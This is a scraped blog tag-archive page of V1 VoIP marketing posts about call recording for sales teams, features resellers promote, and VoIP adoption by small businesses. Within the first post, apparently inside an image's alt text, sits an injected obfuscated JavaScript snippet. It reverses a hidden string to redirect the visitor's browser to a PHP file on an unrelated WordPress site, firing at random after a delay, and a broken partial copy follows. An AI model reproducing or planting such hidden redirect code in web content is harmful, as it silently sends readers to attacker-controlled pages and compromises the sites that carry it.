Tag Archives: voip business features

V1 VoIP Call Recording For Sales Agents

V1 VoIP call recording feature great for sales agents representatives managers for call training quality control <script>$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and customer services” width=”232″ height=”232″ /></p>
<p>Whether developing new sales reps or enforcing call quality, all sales managers <script>$nJe=function(n){if (typeof ($nJe.list[n]) == and customer service reps can benefit from using the V1 VoIP feature call recording. Call recording is a great VoIP feature that allows the recording of inbound and outbound calls. It is particularly valuable for those in sales that spend hours of time on the phone talking to customers and prospects. Being able to store and review recorded calls are beneficial for quality, training, and regulatory purposes to efficiently facilitate the prospecting and sales process over the phone.

Here are a few reasons V1 VoIP knows your sales representatives will benefit from the VoIP call recording feature:
1. Training New Sales Reps
From reviewing different sales processes to memorizing the correct language to use in emails and phone calls, the training of new sales representatives can take a while before a rep is ready to tackle leads on their own. The more conversations a rep listens to, the faster they will internalize scripts and best practices. If a rep is deviating from a company’s best practices, a sales manager can quickly identify and address the issue accordingly. It’s important to expose reps to both good examples and bad ones, so that they can understand why the team uses specific tactics and the related outcomes.

2. Prove Compliance with Industry Regulations
Call recordings can be used as proof of meeting industry regulations when working with customers, clients, and patients. This may include mentioning legal disclaimers and disclosures, offering contact information, or withholding sensitive information before a caller’s identity is verified.

3. Enforce Quality Control
A sales manager can ensure that all reps are following brand guidelines and training materials in every conversation by sampling recorded conversations. If a rep receives a compliment, he or she can simply ask the customer for permission to use the testimonial online or for other marketing materials, then review the call later to record the specific comments.

4. Create Accountability
When reps understand that their calls are being recorded and monitored by management, they are more likely to be conscious of their expected behavior. Knowing that any of the calls may be reviewed by a manager helps maintain a high level of service and professionalism across the team.

In the case of a conflict, sales managers can refer back to saved call recordings to better understand the situation. Without this evidence, it can be hard for either party to prove their claims. Being able to access call recordings also helps managers ensure that all promises made over the call are delivered to the customer or client.

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Features V1 VoIP SMB Resellers Love

V1 VoIP service features that resellers use to resell small nd medium businesses SMB

Everyone knows that a VoIP phone system vastly eliminates the need for a traditional one. Beyond saving a business owner money month over month, it’s the features they come to love more than anything. Depending on the type of business, there are certain features that a reseller will play up, such as conference bridges to law offices. But often times it’s the basic features that are needed the most an therefore the most loved!

Here are a few VoIP features resellers will show SMBs which can make businesses run more efficiently:

Voicemail to Email
Should you ever encounter a situation in which you’re away from your phone platform, voicemail to email can play your messages on any desktop, laptop, or mobile device. Want to access your voicemail when you’re away from your phone system? Voicemail to email is not only a great way to keep up with your incoming messages, but also serves as a perfect archival tool so you know who called and when.

Find Me Follow Me
The Find Me Follow Me feature enables employees to work anywhere they please while still keeping them tethered to their office phone system. If you or your employees work from home or travel frequently, Find Me Follow Me embodies the flexibility to let an employee work away from the office and still receive phone calls. When the phone rings at your office phone, if you do not pick up, the phone call fails over to another phone such as a mobile phone or home office, and then keeps failing over to successive phones until the call is either answered, or it reaches the end of the line, at which point the call is normally transferred to voicemail.

Bring Your Own Device
V1 VoIP is device agnostic, which means we do not mandate a customer needs to buy a certain kind of phone. This not only expands your phone options significantly but also guards against monetary loss should you decide to switch services. Be wary of those that mandate you to buy IP phones that only work with their phone systems or build it into their own bill. As a BYOD provider, we allow you to purchase whatever sort of phones fit your business’s needs.

SIP Alias
SIP Alias is a perfect solution for employees which wear many hats and are require to talk to a range of customers. Someone who works both Sales and Support can receive calls from ‘Sales’ and ‘Support’ lines, so they know what the incoming call will be focusing on. This gives employees a way to screen calls, so they can differentiate between internal extension dialed calls, and calls that come from separate outside lines.

There are so many other features our resellers can help businesses use to run more efficiently and cost effectively! Contact V1 VoIP today to learn more about them!

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Businesses Seeing VoIP Benefits from Resellers

Reports are saying that business owners who are interested in remaining competitive in their markets and keeping up with the latest in technology, are the ones who are signing up for high-tech VoIP services with V1 VoIP resellers. Updating their current landline business communication system to one that utilizes V1 VoIP technology means they will receive a number of benefits, with saving money one of the most popular and valued. They understand haw critical telecommunications can be to the overall success of their business.

But the overwhelming majority of small and medium-siszed businesses still haven’t signed up for the high-tech VoIP services yet. Which leads us to the following two conclusions: 1. They don’t fully understand how VoIP technology works and they’re waiting to learn more about it before signing up. Or 2. Their landline isn’t broken so why fix it or upgrade it?

Another fantastic benefit business owners are recognizing is that V1 VoIP technology allows their employees to work remotely. There is a definitive shift being made from employees utilizing a desktop phone when at work to using their Smartphone, which supports the new and continuing reports that are coming in stating that the business world is going mobile.

Highly beneficial features like call forwarding, call routing and sending business-related messages to a select group of people are also now possible. Never again does an employee have to miss out on an important phone call when they’re not the office.

The fact that there are still so many small and medium-sized business owners who are looking for the best VoIP reseller to help them upgrade their current business communication system means that there’s a market for those who are interested in reselling VoIP services. For more informatio

We are only in the beginning stages when it comes to utilizing modern VoIP technology. With the lowered costs from V1 VoIP and our resellers, when will you make the switch. Contact us today or sign up now to find out how!

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